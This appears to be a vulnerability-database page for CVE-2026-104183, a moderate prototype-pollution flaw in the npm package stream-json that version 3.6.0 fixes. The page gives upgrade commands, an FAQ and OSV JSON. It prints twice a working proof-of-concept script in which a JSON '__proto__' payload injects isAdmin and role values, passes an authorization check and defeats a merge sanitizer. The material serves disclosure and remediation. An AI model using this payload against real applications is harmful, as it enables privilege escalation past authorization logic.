CVE-2026-104183: Stream json Assembler Writes This.current[this.key] On Plain Vulnerability

MODERATE
Advisory Identifier: GHSA-mjw6-4jj6-33hc
CVSS 5.1
CWE-1321
Published
Advisory Summary

CVE-2026-104183 is a MODERATE (CVSS 5.1) assembler writes this.current[this.key] on plain vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Stream json libraries in the npm ecosystem. The issue involves assembler writes this.current[this.key] on plain objects. Remediation is available by upgrading affected packages to version 3.6.0.

CVE-2026-104183 at a Glance

CVE Identifier CVE-2026-104183
GHSA Identifier GHSA-mjw6-4jj6-33hc
Severity MODERATE
CVSS v3.1 Base Score 5.1
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Stream json
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2026-104183

To remediate this vulnerability, upgrade all affected Stream json dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

stream-json fixed: 3.6.0
npm install stream-json@3.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls stream-json

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-104183, inspect your project dependencies using npm:

npm ls stream-json

Analyze the terminal output to locate any version of Stream json in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.0), your application is affected.

Note: The npm ls stream-json command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Stream json, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype. ### Details The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js. ### PoC Run: ```bash node poc-stream-json-proto-injection.mjs ``` Full proof-of-concept source (poc-stream-json-proto-injection.mjs): ```js // stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys // Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family) // Root cause: Assembler builds every object as a plain `Object` and writes // `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment, // ToPropertyKey → inherited Object.prototype __proto__ setter fires) // Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change // Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab) import { parser } from 'stream-json'; import jsoncParser from 'stream-json/jsonc/Parser.js'; import { streamValues } from 'stream-json/streamers/stream-values.js'; import { streamObject } from 'stream-json/streamers/stream-object.js'; import { Readable } from 'node:stream'; const sv = (input, P = parser) => new Promise((res, rej) => { const vals = []; Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream()) .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej); }); const so = (input) => new Promise((res, rej) => { const out = {}; Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream()) .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej); }); let pass = 0, fail = 0; const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } }; const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}'; const baseline = JSON.parse(INPUT); const sv1 = (await sv(INPUT))[0]; const so1 = await so(INPUT); const jc1 = (await sv(INPUT, jsoncParser))[0]; const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user; const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0]; const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0]; const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0]; console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) =='); check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]'); check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}'); check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin')); check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true); check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser'); check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype); check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2); check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]'); check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]'); console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key =='); check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__')); check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined); check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype); console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like =='); check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role'); check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3); console.log('== D. FAIL-CLOSED CONTROLS =='); check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1); check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined); check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined); console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass =='); const authorize = o => o.isAdmin === true && o.role === 'superuser'; check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true); check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false); const target = { theme: 'light' }; for (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in) check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)', Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true); const t2 = { theme: 'light' }; for (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin')); console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`); process.exit(fail ? 1 : 0); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` RESULT: 21 PASS / 0 FAIL ``` ### Impact Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists. --- # Maintainer note on scope The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `"__proto__": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does. ---

CVE-2026-104183 Affected Stream json Versions

1 component(s)
Fixed Versions:
3.6.0
Product / Package Ecosystem Affected Versions Fixed Version
stream-json
npm
< 3.6.0
3.6.0

References

Frequently Asked Questions

What is CVE-2026-104183?
CVE-2026-104183 is a security vulnerability in Stream json involving Assembler writes this.current[this.key] on plain objects under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Stream json versions are affected?
Affected versions include releases prior to 3.6.0 across affected packages: stream-json.
What version fixes CVE-2026-104183?
Upgrading to 3.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is stream-json affected?
Yes, stream-json is affected in releases prior to 3.6.0. Upgrade your dependency to 3.6.0 or later.
What is the CVSS score of CVE-2026-104183?
CVE-2026-104183 has a CVSS v3.1 base score of 5.1 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with CVE-2026-104183?
CVE-2026-104183 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-104183?
Run the dependency tree command: 'npm ls stream-json'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mjw6-4jj6-33hc",
  "modified" : "2026-10-05T22:49:19Z",
  "published" : "2026-10-05T22:49:19Z",
  "aliases" : [ "CVE-2026-104183" ],
  "summary" : "stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects",
  "details" : "### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) => new Promise((res, rej) => {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);\n});\nconst so = (input) => new Promise((res, rej) => {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o => o.isAdmin === true && o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "stream-json"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-104183"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uhop/stream-json"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uhop/stream-json/releases/tag/3.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T22:49:19Z",
    "nvd_published_at" : "2026-10-01T21:17:19Z"
  }
}